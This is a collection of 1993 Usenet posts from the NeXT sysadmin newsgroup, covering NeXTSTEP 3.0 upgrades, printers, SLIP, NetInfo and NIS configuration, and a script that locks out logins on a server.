Newsgroups: comp.sys.next.sysadmin
Subject: Adding Non-NeXT printers
Message-ID: <C26zB3.4wz@newcastle.ac.uk>
Date: 9 Feb 93 17:30:37 GMT
Organization: University of Durham
I would like to add some of the dot matrix printers that our department uses as printers I
can print to from my NeXT. If I just use lpr, there should not be a problem with sending
to these printers, correct?
Where do I put the printcap entry? printcap doesn't seem to get checked if netinfo is
running, at least according to the docs it doesn't.
thanks!
Scott
--
EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail)
SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE
"Did you know that the computer invented itself?" - SNL
From: tye@elvis.mit.edu (Tye Brady)
Newsgroups: comp.sys.next.sysadmin
Subject: 2.1 to 3.0 Upgrade on 100MB fails
Date: 9 Feb 1993 18:44:43 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <1l8u2rINNfjf@senator-bedfellow.MIT.EDU>
Keywords: upgrade,bug
When upgrading a lab Nextstation Color 24MB RAM 100MB HD system that has
35 MB free to 3.0 I see that the old swapfile problem stills kills me.
When the Upgrade3.0 app is computing the plan, I see that at about 3/4 of
the way through that the swapfile starts to grow steadily until all the
space on the HD is taken (ie. the remaining 35 MB). Once this is done,
the app cannot perform the upgrade because it needs at least 26MB to
perform the upgrade?
what to do?
thanX in advance,
tye
From: kwei@titan.ucs.umass.edu (William Wei)
Newsgroups: comp.sys.next.sysadmin
Subject: Can't reboot since upgraded to NS3.0
Message-ID: <1l8um9INNnu2@titan.ucs.umass.edu>
Date: 9 Feb 93 18:55:05 GMT
Distribution: usa
Organization: University of Massachusetts, Amherst
Recently I upgraded to 3.0. My NeXTstation is a standalone.
I have a external boot drive(target 0), a internal(target 1) and
a NeXT CD-ROM drive(target 2). I can boot it if I just turn on
everything from off and press power key. It's won't boot if I just
power down and repower up. The message I got is the following:
Boot command: sd
boot sd(0,0,0)
booting SCSI target 1, lun 0
blk0 boot: sd()sdmach
Booting from SCSI target 0 lun 0
sd()sdmach: unknown binary format
blk0 booy: sd()sdmach
Booting from SCSI target 0 lun 0
sd()sdmach: unknown binary format
Can't load blk0 boot
NeXT>
Anyone has a clue. Thanks.
From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy))
Subject: Need help on "Help"
Message-ID: <HARDY.93Feb9114349@golem.ps.uci.edu>
Newsgroups: comp.sys.next.sysadmin
Organization: Department of Physics, UC Irvine, CA 92717-4575, USA
Date: 9 Feb 93 19:42:49 GMT
When I upgraded to 3.0 in October Upgrade.app made the following judgment:
||Checking size for English help...
||English help requires 3722K, and 0K are available.
||There isn't enough space to install English help.
||Postprocessing complete at Fri Oct 2 22:15:37 PDT 1992
||Upgrade complete.
Now I finally (afgter 5 months waiting) received my own CD-ROM with
3.0 and would like to install the English Help. Does anyone know
where it is located on the CD and where it belongs in the file system?
I removed all the Man-Pages, Documentation, Webster, and Shakespeare,
and freed up another 60 MB of disk space, since I can read the
documentation from the CD.
I could probably poke around the CD-ROM, but I am sure that some of
you know exactly where things are.
Thanks,
--
Hardy
-----
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e-mail: hardy@golem.ps.uci.edu (preferred) or MMAYER@UCI.BITNET
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From: cew6@po.CWRU.Edu (Carlin E. Wiegner)
Newsgroups: comp.sys.next.sysadmin
Subject: CSLIP vs. SLIP....
Date: 9 Feb 1993 23:21:31 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <1l9e9rINNc7k@usenet.INS.CWRU.Edu>
Is there really a difference between CSLIP and SLIP in terms of
speed. I can get Marble's product with CSLIP for $125 but on the
other hand I can pay nothing and get SLIP for free over the internet.
Please email opinions.
CW
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Problem w/ telnet from Sun to NeXT
Message-ID: <1993Feb9.182026.29176@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Tue, 9 Feb 1993 18:20:26 GMT
Sender: news@urz.unibas.ch (USENET News System)
References: <1993Feb9.050835.18353@netcom.com>
Organization: Institut fuer Informatik
In article <1993Feb9.050835.18353@netcom.com> writes:
> When I telnet from a Sun SPARCstation to a NeXTstation running
> NeXTstep 3.0 the last bit of output from a shell command seems like its
> LF/CR's got screwed up. Emacs works fine, though. Any hints on what I
> can do about this? Thanks.
>
> - Bryan
>
> --
> Bryan Van Vliet
Speaking of problems, anyone got Telnet on the mac (via MacTCP) to properly
chat with the NeXT?
The problem is that the telnet session looses certain keys on input. If these
keys are typed twice, everything is fine. Unfortunately, each mac has different
keys generating the problems...
--
Robert Frank tel. + (061) 321 99 67
Institut fuer Informatik fax + (061) 321 99 15
University of Basel, Switzerland
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
( if all fails try frank@urz.unibas.ch )
Newsgroups: comp.sys.next.sysadmin
From: cbradley@bozell.com (Chris Bradley)
Subject: Re: Next NFS server upgrade
Message-ID: <1993Feb9.174013.6788@bozell.com>
Keywords: NFS performance
Sender: news@bozell.com
Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc.
References: <1kgvhvINNjs5@ni.umd.edu>
Distribution: na
Date: Tue, 9 Feb 1993 17:40:13 GMT
In article <1kgvhvINNjs5@ni.umd.edu> louie@sayshell.umd.edu (Louis A.
Mamakos) writes:
> In article <gfNjYKq00YUn0=N1kh@andrew.cmu.edu> Tod McQuillin
<tm8t+@andrew.cmu.edu> writes:
> >We're running a NeXT cube (68040/25Mhz) with 2.5 GB of disk serving 50
> >NFS clients or so. We're considering upgrading the server with a
> >Turbo board (68040/33Mhz).
> >
> >My question is, with such a configuration, is upgrading to a Turbo
> >likely to help? It's quite possible that the machine is disk-bound,
> >in which case increasing the CPU speed won't significantly help.
>
> You'd likely be better off, for performance and function, to buy a Sun
> or some other box for your NFS server if you are really server
> performance-bound. If you've got a large, heavy NFS load, having
> multiple SCSI buses available will reduce I/O contention on the bus
> between multiple drives, as will support for synchronous SCSI
> transfers so that each transfer uses the bus for less time. You get
> neither of these on a NeXT right now.
>
I gotta (heartily) recommend that you look at the AUSPEX line of servers.
Outstanding I/O throughput, in a BEAST of an NFS server!
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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: How to disable logins on one machine? Help!!
Message-ID: <C27KGs.uL@usenet.ucs.indiana.edu>
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Organization: Indiana University
References: <1993Feb4.192136.12447@thunder.mcrcim.mcgill.edu>
Date: Wed, 10 Feb 1993 01:07:40 GMT
In article <1993Feb4.192136.12447@thunder.mcrcim.mcgill.edu> hogan@boetius (Kharim Hogan) writes:
>
>Hi,
>
>Is it possible to disable network accounts on one machine?
This here be an ugly solution that I use to lock out folks from
logging into my servers.
--snip-----
#!/bin/sh
# A script to put *'s for everyone's passwd to niload on the servers
# to prevent login by unauthorized users
# Make a backup
nidump passwd . > /usr/local/adm/secure.local.passwd.backup
# Make a copy of the passwd entries with "*" for passwords.
nidump passwd / | awk 'BEGIN {FS=OFS=":"} {$2="*";print}' > /tmp/passwd
niload passwd . < /tmp/passwd
# Now put back the people I want to be allowed to login
nidump passwd / |grep francisr >> /tmp/okay.passwds
nidump passwd / |grep root >> /tmp/okay.passwds
# Search for 'Account' because some accounts contain the letters
# 'me' in their name 'My Account' is unique to the user 'me'.
# at least on my system it is.
nidump passwd / |grep Account >> /tmp/okay.passwds
# Load 'em up
niload passwd . < /tmp/okay.passwds
# Clean up
rm /tmp/passwd
rm /tmp/okay.passwds
----snip---
Cough, cough.
-rob
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From: dglattin@trirex.com (Dennis Glatting)
Subject: Looking for nvram decl
Message-ID: <1993Feb4.055021.7351@Trirex.COM>
Keywords: nvram
Sender: root@Trirex.COM (Operator)
Organization: Trirex Systems Inc.
Distribution: usa
Date: Thu, 4 Feb 1993 05:50:21 GMT
I am setting up a automatic computer configuration scheme for one of my
clients. I would like to change some of the NVRAM parameters
programatically such as the ROM password and boot device.
I am looking for a struct decl of NVRAM. Where can I find such a beast?
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From: mshaler@tdocad.sps.mot.com (Michael Shaler)
Subject: Re: How do I prevent cp from traversing links?
References: <1kbhpjINN8mf@ni.umd.edu>
Date: Tue, 2 Feb 1993 08:01:28 GMT
Organization: Nippon Motorola Ltd., Tokyo, Japan
Sender: news@tkymail.sps.mot.com
Message-ID: <1993Feb2.080128.26333@tkymail.sps.mot.com>
Louis A. Mamakos writes
[appropriate, discreet plug crunched...]
Disclaimer: I know the author of SafetyNet, and have been testing it
and using it for some time now. I have no financial interest in the
product, other than when Brian buys the beer when we go out drinking,
err.., I mean, have the meeting of the Laurel/Columbia MD NeXT
developer's gang.
louie
Louie, would this an erstwhile Freudian SLIP, or a Jungian SLIP? And which neural links would cp cross under these conditions?
Questions to ponder for the Laurel/Columbia MD NeXT developer's gang...
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Nippon Motorola Ltd.
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+813 3440 0033 fax
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From: draphsor@deathstar.Stanford.EDU (Matt Rollefson)
Subject: Re: Problem w/ telnet from Sun to NeXT
Message-ID: <1993Feb10.024138.5697@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: Residential Computing, Stanford University
References: <1993Feb9.050835.18353@netcom.com>
Date: Wed, 10 Feb 93 02:41:38 GMT
In comp.sys.next.sysadmin bryanvv@netcom.com (Bryan Van Vliet) writes:
>When I telnet from a Sun SPARCstation to a NeXTstation running
>NeXTstep 3.0 the last bit of output from a shell command seems like its
>LF/CR's got screwed up. Emacs works fine, though. Any hints on what I
>can do about this? Thanks.
Don't ask me why, but this seems to fix the problems:
stty -extproc
Put it in your .login.
Rollie
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From: draphsor@deathstar.Stanford.EDU (Matt Rollefson)
Subject: Re: Adding Non-NeXT printers
Message-ID: <1993Feb10.024321.5819@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: Residential Computing, Stanford University
References: <C26zB3.4wz@newcastle.ac.uk>
Date: Wed, 10 Feb 93 02:43:21 GMT
In comp.sys.next.sysadmin S.A.McIntyre@durham.ac.uk writes:
>I would like to add some of the dot matrix printers that our department uses as printers I
>can print to from my NeXT. If I just use lpr, there should not be a problem with sending
>to these printers, correct?
I have no idea. I strongly suspect that you will in fact have
problems, but I don't know. Report back if things "just work", would
you?
>Where do I put the printcap entry? printcap doesn't seem to get checked if netinfo is
>running, at least according to the docs it doesn't.
This one I can help you on. Just do "niload -v printcap . <
/etc/printcap" and the information will be loaded into netinfo.
Rollie
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From: draphsor@deathstar.Stanford.EDU (Matt Rollefson)
Subject: Re: Backspace
Message-ID: <1993Feb10.024552.6015@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
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References: <1993Feb8.210328.12337@cheshire.oxy.edu>
Distribution: usa
Date: Wed, 10 Feb 93 02:45:52 GMT
In comp.sys.next.sysadmin t_pascal@cheshire.oxy.edu writes:
>We recently upgraded to 3.0, and I thought that BackSpace was bundled...
>I haven't found it anywhere. Does anyone know where it should be, or where
>I can to snarf?
/NextDeveloper/Examples/AppKit/Backspace.
Rollie
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Residential Computing, Stanford University NeXTmail accepted
From: aozer@next.com (Ali Ozer)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Dwriting to 2-bit color
Message-ID: <6769@rosie.NeXT.COM>
Date: 10 Feb 93 02:52:27 GMT
References: <1993Feb7.115727.1389@yvax.byu.edu> <1l431t$foj@transfer.stratus.com>
Sender: news@NeXT.COM
Organization: Next Computer, Inc.
In article <1l431t$foj@transfer.stratus.com> dan@az.stratus.com writes:
>Sean Luke writes
>> We've upgraded to 3.0, and have found the Workspace Manager...slow and
>> ponderous when scrolling or doing screen updates. We have no color machines
>> in our little network out here. Can anyone tell me what the dwrite command
>> was to set an application (in particular, the Workspace Manager, Mail,
>> Preferences, etc.) to 2-bit?
>dwrite GLOBAL NXWindowDepthLimit TwoBitGray
From your message ("...we have no color machines...") it sounds like all
your machines are monochrome. This means that all windows are by default
depth-limited to 2 bits anyway; you shouldn't have the perform this default.
Ali, Ali_Ozer@NeXT.com
From: hugh@ear.mit.edu (Hugh Secker-Walker)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: Term: a SLIP replacement
Followup-To: comp.sys.next.software
Date: 9 Feb 93 22:46:34
Organization: Massachusetts Institute of Technology
Message-ID: <HUGH.93Feb9224634@ear.mit.edu>
References: <C1suB5.16J@rice.edu> <1993Feb4.191322.26372@galileo.cc.rochester.edu>
In-reply-to: jtod_ltd@uhura.cc.rochester.edu's message of 4 Feb 93 19:13:22 GMT
In article <1993Feb4.191322.26372@galileo.cc.rochester.edu> jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) writes:
In <C1suB5.16J@rice.edu> bob@ruf.rice.edu (Robert Morrison Dana) writes:
>SLIP users take note:
>There now is a communications protocol available called "term" that
>provides much of the functionality of SLIP.....
>Does anybody have this running on a NeXT? It looks like a fantastic
>idea, and from what I have seen of it on Linux machines, a significant
>improvement over SLIP for those of us who don't need/want all the other
>things SLIP does (like NFS). I'll be happy to provide more info for
>those who want it.
>-Robert
I personally didn't get it to work, but I've got a working copy that
compiles very nicely under 3.0 and works (so far) on the Sun system that I
regularly call into. If you want it, just e-mail me and I'll send along the
copy that was sent to me. It's not a "finished" version, nor has it been
^^^^^^^^^^
totally viewed/given the blessing by the original "term" author. But: it
works. Use at your own risk (actually, there's only a risk of frustration.)
Being the sender of the working copy I'll mention just a couple of
points. The sources are POSIX oriented with allowances for some BSD
derivatives. (It only just works with the Ultrix MIPS compiler.) It
seems to work fine on the NeXTstation, but the suggested defaults for
the termrc are not well tuned for high-speed modem users. Besides
escapes, which are obviously link dependent, I have had good luck with
the following termrc on my v32.bis/v42.bis connection
baudrate 38400
compress off
window 10
timeout 120
force on
noise on
The author is incorporating my changes, but he's devoting his energies
to a second generation of the suite called 'slap' (serial line access
protocol). His sources (not yet reflecting my bug fixes) can be
obtained via ftp from tartarus.uwa.edu.au:/pub/oreillym/term/.
If there's interest I'll submit my version to sonata.
BTW, term is very nice once it's working.
Hugh
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From: gemoe@proximus.north.de (Gerhard Moeller)
Subject: Re: awk ARGV ARGC ( unable to access )
References: <1993Feb1.135348.16815@julian.uwo.ca>
Sender: gemoe@proximus.north.de
Organization: Gerhard Moeller, German NeXT User Group, Oldenburg.
Date: Tue, 9 Feb 1993 17:39:28 GMT
Message-ID: <1993Feb9.173928.7957@proximus.north.de>
In article <1993Feb1.135348.16815@julian.uwo.ca> plenson@hi_presure_lab (Peter
Lenson) writes:
> Hi this is probably one of those FAQ's, however, I'm in rush. Does
> the version of awk that comes with NeXTStep 3.0 support the built-in
> variable ARGV,ARGC, as defined in THE AWK Programming Language book.
No, not that I am aware of. (and I do a lot of awk programming)
What you need is gawk. It's on the archives. (I can NeXTmail you my version as
well) It is _much_ better (and has even reasonable error messages) GET IT -
IT'S WORTH IT!!
> Also if it doesn't what else is missing?
A lot. ;-) (get gawk....)
Gerhard.
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From: M_Carling@BlueRose.com (M Carling)
Subject: Re: news on the NeXT
Message-ID: <1993Feb10.042221.19582@bluerose.com>
Sender: m@bluerose.com
Organization: Blue Rose Systems, Inc.
References: <64125@mimsy.umd.edu>
Date: Wed, 10 Feb 1993 04:22:21 GMT
In article <64125@mimsy.umd.edu> gdrew@cs.umd.edu (Greg Drew) writes:
> Could someone point me in the right direction for installing netnews
software
> on a NeXT. I have heard that there are reader applications
(NewsGrazer?) out
> there, but I am not sure where to find them. Also, will one of the
standard
> news software packages run on the NeXT ralatively painlessly? Thanks.
BANG has a Cnews installer package for the NeXT. We can send it on a
floppy for a few dollars, or I can NeXTmail it to you.
M Carling
President, Bay Area NeXT Group
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From: singerm@Informatik.TU-Muenchen.DE (Markus Singer)
Subject: NEC P6+ and NS3.0
Originator: singerm@hphalle3j.informatik.tu-muenchen.de
Sender: news@Informatik.TU-Muenchen.DE (USENET Newssystem)
Organization: Technische Universitaet Muenchen, Germany
Date: Wed, 10 Feb 1993 10:28:48 GMT
Message-ID: <1993Feb10.102848.21005@Informatik.TU-Muenchen.DE>
Hello
From my former computer I still have a NEC P6+, which I want to use with
my NeXTstation running NS3.0. (The NEC doesn't have a serial input, but
I got me a serial-to-parallel converter from Star)
My question so, can I use my printer with the NXstation under NS3.0
without a third-party driver - if YES please tell me how to accomplish
this (i.e. which files to edit...)- otherwise I'd like to know which's the
best driver for this.
Thanks
Markus
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From: singerm@Informatik.TU-Muenchen.DE (Markus Singer)
Subject: How to install Zyxel properly?
Originator: singerm@hphalle3j.informatik.tu-muenchen.de
Sender: news@Informatik.TU-Muenchen.DE (USENET Newssystem)
Organization: Technische Universitaet Muenchen, Germany
Date: Wed, 10 Feb 1993 10:34:32 GMT
Message-ID: <1993Feb10.103432.21282@Informatik.TU-Muenchen.DE>
Hello
A few days ago I bought me a Zyxel U-1496E, which I want to use for
tip, uucp, SLIP and fax. I also installed a demo version of NXFax.
But something went wrong, it seems.
So here's my question: How do I have to install the modem?
(i.e. which files must be edited,...)
Thanks in advance
Markus
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From: droege@infko.uni-koblenz.de (Detlev Droege)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Need help on "Help"
Date: 10 Feb 1993 10:21:30 GMT
Organization: CC/CS Uni-Koblenz
Distribution: world
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References: <HARDY.93Feb9114349@golem.ps.uci.edu>
In article <HARDY.93Feb9114349@golem.ps.uci.edu> hardy@golem.ps.uci.edu
(Meinhard E. Mayer (Hardy)) writes:
> When I upgraded to 3.0 in October Upgrade.app made the following judgment:
>
> ||There isn't enough space to install English help.
>
> Does anyone know
> where it is located on the CD and where it belongs in the file system?
> I could probably poke around the CD-ROM, but I am sure that some of
> you know exactly where things are.
On the CD-ROM, in directory [/NeXTSTEP_3.0/]NextCD/Packages you find
English.pkg. That's it. Double click to intall with Installer.app (what else ?)
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From: wave@waits.media.mit.edu (Michael B. Johnson)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Re: Help with TCL
Message-ID: <1993Feb8.132340.12633@news.media.mit.edu>
Date: 8 Feb 93 13:23:40 GMT
References: <1993Feb8.113259.697@news.csuohio.edu>
Sender: news@news.media.mit.edu (USENET News System)
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Joe Rosenfeld writes
> Jon Vestal (jonv@ptnext.claremont.edu) wrote:
> : Hi,
>
> : Can someone give me some insight on how to compile TCL for NS 3.0. I am
> : trying to get Expect up and running and it needs TCL. Thanks.
>
> Yes, me too. Please POST if you have the answer.
>
Not much to it, folks. Grab the latest version of tcl from
sprite.berkeley.edu, edit the config file to have:
set includeDir="/usr/include/ansi"
set libc="/lib/libsys_s.a"
and you're all set. If you're running 6.5, you will also have to change the
function prototype of fseek in tclUnix.h to return an int as opposed to a long:
extern int fseek _ANSI_ARGS_((FILE *stream, long offset, int base));
I believe John fixed this in 6.6. Type "make" and you're all set.
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From: eugene@nshade.uah.ualberta.ca (Eugene Mah)
Subject: Help with Pinnacle PMO-650 OD
Message-ID: <1993Feb10.170113.8026@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Wed, 10 Feb 1993 17:01:13 GMT
I need some help with a PMO-650 OD I just got recently. Plugged it in,
and the NeXT seems to recognize it (I'm running it on a color slab with
3.0) but it won't format the disk. It comes up with some console error
about 15 cylinders being the maximum or something like that. I haven't
got the console error messages on hand unfortunately. Can anyone offer
any opinions/advice/solutions? Do I have to set up an entry in disktab?
Thanks for the help...
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----> spandex_ninja@mts.ucs.ualberta.ca (nonNeXT-Mail)
grad student/sys admin
Department of Radiology
University of Alberta Hospitals
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Subject: HELP with yp/nis and netgroups/networks
Message-ID: <1993Feb10.153939.27867@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Wed, 10 Feb 1993 15:39:39 GMT
Sender: news@urz.unibas.ch (USENET News System)
Organization: Institut fuer Informatik
HELP - I'M STUCK (and struck)
I am trying to set up a mixed network with NeXTs (netinfo) and Ultrix machines.
Netinfo is now running quite well, but I am having trouble with nis. The major
problem is with the ypservers file/database. This database should specify the
server/slaves for the given domain.
On my machine, the command 'ypcat ypservers' causes an indefinite loop and
prints all empty lines!
If I change the contents (makedbm - ypservers) and end the input with CTRL-D, I
get an error message telling me that the data base is bad.
Now, neither solution allows me to send (push) updates to the slave servers.
What the heck is going on? Am I doing something stupid or is makedbm faulty?
The other problem is with the hosts.equiv and rsh/rlogin commands. According to
the man pages, an entry of the form '+@netgroup' is supposed to allow all
machines/users in that network group to login without a password. Where is
netgroup to be specified and how?
I thought this ought to be in /etc/networks, but if I entered it there, nothing
happens. (I still need to specify a password when logging in.)
My files are:
/etc/networks
localnet 131.152.81 ifi-net
loopback 127 loopback-net software-loopback-net
/etc/hosts.equiv
+@localnet
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From: jcorallo@ccsi.com (P. John Corallo)
Subject: Synoptics or Zyplex Terminal Server.
Message-ID: <1993Feb10.141331.5965@ccsi.com>
Sender: jcorallo@ccsi.com
Organization: Crystal Computer Systems, Inc.
Date: Wed, 10 Feb 1993 14:13:31 GMT
If anyone is using Synoptics Terminal server 3395A, which is actually made
by Zyplex, there is a new version of the software for it (V4.1.3S80) which
fixes many bugs with SLIP, telnet and performance problems. We installed
the software a few days and a bunch of problems that we had being trying
to fix for months magically disappeared. A lot of errors that Synoptics
had continuously blamed on the NeXT and our SLIP software are gone.
Here is a run down of things that we have found fixed.
-Telnet echoes characters back now as your typing.
-Our % CPU used to be always a 100%, not it actually fluctuates.
-We used to get a large amount of Port Overrun Errors.
-Stations used to loose their connections occasionally.
-Any large TCP operation would die after about 500 seconds.
-Our transfer rates were about .09 K/s when doing FTP or mail, now they
are between 2.5 and 4.5 K/s.
-Everything is much faster and reliable.
-John Corallo
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From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo)
Subject: How to disable direct root login?
Message-ID: <1993Feb10.193145.16918@magnus.acs.ohio-state.edu>
Sender: news@magnus.acs.ohio-state.edu
Organization: The Ohio State University
Date: Wed, 10 Feb 1993 19:31:45 GMT
We want to be able to /only/ login directly as root on our
server. How do we disable it on all the other machines?
(of course, we still would like to be able to telnet into the
server, and su to root) But we don't want anyone to be able to
login directly on any of the other machines as root.
Does anyone know what do we have to change?
Thanks!
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From: dmm0t@rincewind.mech.virginia.edu (David Meyer)
Subject: problem with wuarchive-ftpd
Message-ID: <1993Feb10.183231.27447@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Date: Wed, 10 Feb 1993 18:32:31 GMT
I've got the wuarchive ftp daemon up and running and working fine,
with 2 exceptions. Neither the compress nor the tar options work
right. If I try to use either, I get zero-length .tar and .Z files.
For example, apf-5.0 is a normal text file. A sample ftp session
looks like:
ftp> get apf-5.0.Z
200 PORT command successful.
150 Opening BINARY mode data connection for /bin/compress.
226 Transfer complete.
ftp> get apf-5.0.tar
200 PORT command successful.
150 Opening BINARY mode data connection for /bin/tar.
226 Transfer complete.
ftp> 221 Goodbye.
rincewind|dmm0t|/Users/dmm0t> ls -l apf*
-rw-r--r-- 1 dmm0t 0 Feb 10 13:20 apf-5.0.Z
-rw-r--r-- 1 dmm0t 0 Feb 10 13:20 apf-5.0.tar
Has anyone else had this problem? I have compress and tar in ~ftp/bin
with the same permissions as ls and sh.
Dave
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From: mikhe@ida.liu.se (Mike Henry)
Subject: Re: Simple question about Host-setup!
Message-ID: <1993Feb10.130959.7044@ida.liu.se>
Sender: news@ida.liu.se
Organization: CIS Dept, Univ of Linkoping, Sweden
References: <CHRIS.93Feb5161526@born.iesd.auc.dk>
Distribution: comp
Date: Wed, 10 Feb 1993 13:09:59 GMT
chris@iesd.auc.dk (Christian Callsen) writes:
>I am setting my machine up as a standalone un-connected NeXT with the
>name ('imladris') using the "local" menu-entry in HostManager. That
>seems to be working.
> [Commands not working deleted]
>Does anyone have a clue about what I am doing wrong here? Am I missing
>something? (and if you know, could you please tell me.. :^>)
My understanding is that if you have an unconnected standalone NeXT (running
3.0) and you want to name it, you do the following:
i) Fire up HostManager.app
ii) Choose "Host->open" from the menu (Cmd-o)
iii) Pick localhost from the panel.
iv) Enter the name you want under "Host Name Aliases" and click "Add".
v) Choose "Local..." from the menu
vi) Enter the name of the localhost alias in the Hostname box. Click "Set".
vii) Reboot and you're done
The process for NS 2.x configurations are different. You need to add a host
with the name you want under the "Host->new" menu and then do steps v) - vii).
This has worked good for me but I'm not certain this is "The Right Way (TM)"
to do it. Side effects are that OpenPanels beep when you double click on any
choices (but not when you click on the choice and then click on "OK"). You can
then do ping/telnet/rlogin to your machine (which is the same as if you do
ping/telnet/rlogin to localhost B^).
Comments are appreciated.
>Chris
-Mike
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From: jcorallo@ccsi.com (P. John Corallo)
Subject: Try Informix Re: Anyone dealing with Sybase direct
Message-ID: <1993Feb10.150150.6112@ccsi.com>
Sender: jcorallo@ccsi.com
Organization: Crystal Computer Systems, Inc.
Date: Wed, 10 Feb 1993 15:01:50 GMT
In article <1993Feb5.200704.8391@kynug.org> neil@kynug.org (Neil Greene)
writes:
> I have attempted to talk with a Sybase rep on 5 occasions now. The
first
> was prior to the mini-Expo and the rest were with Sybase reps directly.
> Oracle has offered developer licenses which entitles you to sell the
> Oracle RDBMS at a 30% discount, while the Sybase reps insist on balking
at
> any prices. Granted, there are some notable differences in the database
> engines themselves. But, Sybase wants 11,000+ for a developer license
> which includes $7,000 for a years worth of support. The price is not
the
> matter here and not what upsets me. The problem is in the Sybase rep's
> attitude and non-disclosure of information. If they want me to spend
> money on their database engine, they should at least tell me how much it
> is going to cost and what prices I can expect on different platforms.
>
> Someone please forward me the name of a good Sybase rep. I don't care
> what city he is in or how much the phone calls cost.
> --
We had very similar problems with Sybase, we were very committed to their
product but did not seem to get much attention from their sales and
support staff. So we opened up the specs on our project one more time and
brought in Informix and found them to be a world of difference from their
competition, not only in service but also in price. The people at
Informix were falling over themselves trying to help us, whenever we have
questions they usually help us immediately or call us back within a few
minutes later. Their product may be a little more cautious in their
development cycles than Sybase, but it is extremely competitve in
performance. There NeXT support is great they send us new stuff before we
even ask for it. The amount of money we saved using Informix over Sybase,
allowed us to by a Sparc Database server and and unlimited Informix Server
for the same price as a Sybase server for the NeXT. Plus they did not
have us pay a large up front fee to be a VAR, it's pretty amazing we did
not have to pay them to sell their product.
The other day, we got the new release of the server from Informix. When
we went to install the software one of the disks had a problem and we
could not do the upgrade. We called Informix, immediately they sent out
another set of disks, priority over-night. A few minutes later a support
guy called us and tried a few things to bring this disk back to life,
after a short while he decided their definitely was a problem with the
disks and had us give him the serial numbers off the disks. The next day
when we got the package, we had a letter from the QC manager at Informix
apologizing for the problem and he included a stamped, self-addressed
envelope to return the disks to him personally, so they could find out
what went wrong with the disks.
Another time, we were just looking at a demo of the Informix server for
SCO, do not use SCO if you can help it, and our server went down hard.
When brought the server up the Informix server had a major problem. We
called tech support they went over the problem and decided it was to big
for us to fix oursleves. Then they asked us if the could tip into our
server. So we set up a modem for them, after about ten tries they finally
connected with it, and logged into the server and fixed the problem in
about ten minutes. The amazing thing is we had not giving them a penny at
the time, and they did not even care, they just wanted to fix the problem
first and then worry about who we were.
If you need to use an SQL server I would definitely give Informix a look,
you may be quite surprised at what you find.
-John Corallo
From: pierce@cantrell.tamu.edu (Pierce Cantrell)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: CSLIP vs. SLIP....
Date: 10 Feb 1993 19:46:21 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1lbm2dINN957@tamsun.tamu.edu>
References: <1l9e9rINNc7k@usenet.INS.CWRU.Edu>
In article <1l9e9rINNc7k@usenet.INS.CWRU.Edu> cew6@po.CWRU.Edu (Carlin E.
Wiegner) writes:
> Is there really a difference between CSLIP and SLIP in terms of
> speed. I can get Marble's product with CSLIP for $125 but on the
> other hand I can pay nothing and get SLIP for free over the internet.
> Please email opinions.
>
My experience with Marble's Teleconnect version 1.1 is that CSLIP does not work
when connecting to another NeXT running Teleconnect 1.1. Marble said it would
be fixed in the next release. In addition, my experience with Marble's tech
support has been less than satisfactory.
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From: nevai@mps.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: websterd on OS 3.0 - is there life w/o .nxbf?
Date: 10 Feb 1993 20:20:39 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1lbo2n$oqv@zaphod.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
Did anyone figure out how to use websterd on 3.0 w/o these .nxbf files, i.e.,
without
/NextLibrary/References/Webster-Dictionary/Dictionary.nxbf
/NextLibrary/References/Webster-Thesaurus/Thesaurus.nxbf
BUT with
/NextLibrary/References/Webster-Dictionary/Dictionary
/NextLibrary/References/Webster-Thesaurus/Thesaurus
I tried everything when compiling websterd but it didn't work. I guess, the
problem is in libtext.a.
ops/usr/local/lib 58: strings libtext.a | grep nxbf
Thesaurus.nxbf
Dictionary.nxbf
CompactDictionary.nxbf
Any ideas?
Please respond by email. Thanks. Take care...Paul
Paul Nevai nevai@mps.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: disc@vector.intercon.com (David Casti)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Top
Date: 10 Feb 1993 20:44:07 GMT
Organization: InterCon Systems Corporation
Distribution: world
Message-ID: <1lbpenINNb92@intercon.intercon.com>
Hi,
Does anyone have top up and running on their NeXT? I'd really like to have it
on mine, but it won't compile right.
Thanks,
David.
From: cartley@dix.Mines.Colorado.EDU (Craig Artley)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to disable logins on one machine? Help!!
Message-ID: <1993Feb10.181954.71127@slate.mines.colorado.edu>
Date: 10 Feb 93 18:19:54 GMT
